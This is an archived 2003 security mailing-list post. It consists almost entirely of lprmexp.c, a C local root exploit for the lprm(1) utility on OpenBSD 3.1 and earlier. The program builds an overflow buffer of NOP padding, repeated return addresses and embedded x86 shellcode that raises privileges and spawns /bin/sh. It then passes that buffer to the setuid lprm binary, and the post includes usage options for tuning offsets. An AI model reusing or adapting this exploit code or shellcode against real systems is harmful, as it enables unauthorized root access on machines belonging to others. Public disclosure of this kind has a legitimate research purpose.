OpenBSD lprm(1) exploit

From: Claes Nyberg (md0claesat_private)
Date: Fri Mar 07 2003 - 21:13:31 PST

  • Next message: zero_latencyat_private: "Re: Sendmail exploit released???"

    -- Begin lprmexp.c
    /*
     * lprmexp.c
     *
     * OpenBSD <= 3.1 lprm(1) local root exploit
     *
     * By CMN <cmnat_private>/<md0claesat_private>
     *
     * Tested on OpenBSD 3.0 and 3.1.
     *
     * Fiddle with -a option from 1 to 7 to indent address in
     * buffer.
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/types.h>
    
    #define LPRMPROG    "/usr/bin/lprm"
    #define BUFSIZE     511
    #define OFFSET      0
    #define NOP         0x90
    
    static char obsdcode[] =
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\x50"                 /* pushl   %eax        */
        "\x50"                 /* pushl   %eax        */
        "\xb0\xb7"             /* movb    $0xb7, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\x19"             /* movb    $0x19, %al  */
        "\x50"                 /* pushl   %eax        */
        "\xcd\x80"             /* int     $0x80       */
        "\x50"                 /* pushl   %eax        */
        "\x50"                 /* pushl   %eax        */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\x17"             /* movb    $0x17, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\x2b"             /* movb    $0x2b, %al  */
        "\x50"                 /* pushl   %eax        */
        "\xcd\x80"             /* int     $0x80       */
        "\x50"                 /* pushl   %eax        */
        "\x50"                 /* pushl   %eax        */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\xb0\xb5"             /* movb    $0xb5, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\x50"                 /* pushl   %eax        */
        "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
        "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
        "\x89\xe3"             /* movl    %esp, %ebx  */
        "\x50"                 /* pushl   %eax        */
        "\x53"                 /* pushl   %ebx        */
        "\x89\xe2"             /* movl    %esp, %edx  */
        "\x50"                 /* pushl   %eax        */
        "\x52"                 /* pushl   %edx        */
        "\x53"                 /* pushl   %ebx        */
        "\x50"                 /* pushl   %eax        */
        "\xb0\x3b"             /* movb    $0x3b, %al  */
        "\xcd\x80"             /* int     $0x80       */
        "\x31\xc0"             /* xorl    %eax, %eax  */
        "\x40"                 /* inc     %eax        */
        "\x50"                 /* pushl   %eax        */
        "\x50"                 /* pushl   %eax        */
        "\xcd\x80";            /* int     $0x80       */
    
    u_long
    getesp(void)
    {
        __asm__("movl %esp, %eax");
    }
    
    void
    usage(u_char *pname)
    {
        printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n");
        printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n",
            pname);
    }
    
    
    int
    main(int argc, char *argv[])
    {
        int i;
        u_char indent = 0;
        u_long raddr = 0;
        u_long offset = 0;
        u_char buf[BUFSIZE+1];
    
        if (argc < 2) {
            usage(argv[0]);
            exit(1);
        }
    
        argc--;
        argv++;
    
        while ( (i = getopt(argc, argv, "a:r:o:")) != -1) {
            switch (i) {
                case 'a':
                    indent = atoi(optarg) % 8;
                    break;
    
                case 'r':
                    raddr = strtoul(optarg, NULL, 0);
                    break;
    
                case 'o':
                    offset = strtoul(optarg, NULL, 0);
                    break;
    
                default:
                    exit(1);
                    break;
            }
        }
    
        if (!raddr) {
            raddr = getesp();
            raddr -= offset ? offset : OFFSET;
        }
        else
            raddr -= offset;
    
        printf("Using address 0x%08x\n", raddr);
    
        memset(buf, NOP, BUFSIZE);
        memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr));
        memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100),
                obsdcode, strlen(obsdcode));
        buf[BUFSIZE] = '\0';
    
        execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL);
        exit(1);
    }
    -- End lprmexp.c
    



    This archive was generated by hypermail 2b30 : Sat Mar 08 2003 - 09:31:51 PST